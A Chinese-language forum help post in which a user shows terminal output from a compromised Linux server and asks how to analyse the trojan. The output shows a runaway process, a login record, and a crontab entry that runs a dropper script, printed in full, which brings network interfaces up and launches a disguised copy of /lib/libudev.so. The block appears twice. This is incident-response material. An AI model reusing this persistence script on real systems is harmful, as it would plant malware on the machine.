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[旧帖] [求助]木马样本一枚,求破解思路 0.00雪花
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发表于: 2016-6-12 11:32 1634
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PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND
3494 root 19 0 378m 25m 212 R 1595.6 0.7 5798:34 eyshcjdmzg
-bash-4.3# last -10
user pts/3 11X.25.49.200 Mon Jun 6 23:46 - 01:47 (02:01)
入侵路径:某普通宽带用户
-bash-4.3# cat /etc/crontab
SHELL=/bin/bash
PATH=/sbin:/bin:/usr/sbin:/usr/bin
MAILTO=root
HOME=/
# run-parts
01 * * * * root run-parts /etc/cron.hourly
02 4 * * * root run-parts /etc/cron.daily
22 4 * * 0 root run-parts /etc/cron.weekly
42 4 1 * * root run-parts /etc/cron.monthly
*/3 * * * * root /etc/cron.hourly/gcc.sh
-bash-4.3# vi /etc/cron.hourly/gcc.sh
#!/bin/sh
PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin:/usr/X11R6/bin
for i in `cat /proc/net/dev|grep :|awk -F: {'print $1'}`; do ifconfig $i up& done #主动打开网络
cp /lib/libudev.so /lib/libudev.so.6
/lib/libudev.so.6
3494 root 19 0 378m 25m 212 R 1595.6 0.7 5798:34 eyshcjdmzg
-bash-4.3# last -10
user pts/3 11X.25.49.200 Mon Jun 6 23:46 - 01:47 (02:01)
入侵路径:某普通宽带用户
-bash-4.3# cat /etc/crontab
SHELL=/bin/bash
PATH=/sbin:/bin:/usr/sbin:/usr/bin
MAILTO=root
HOME=/
# run-parts
01 * * * * root run-parts /etc/cron.hourly
02 4 * * * root run-parts /etc/cron.daily
22 4 * * 0 root run-parts /etc/cron.weekly
42 4 1 * * root run-parts /etc/cron.monthly
*/3 * * * * root /etc/cron.hourly/gcc.sh
-bash-4.3# vi /etc/cron.hourly/gcc.sh
#!/bin/sh
PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin:/usr/X11R6/bin
for i in `cat /proc/net/dev|grep :|awk -F: {'print $1'}`; do ifconfig $i up& done #主动打开网络
cp /lib/libudev.so /lib/libudev.so.6
/lib/libudev.so.6
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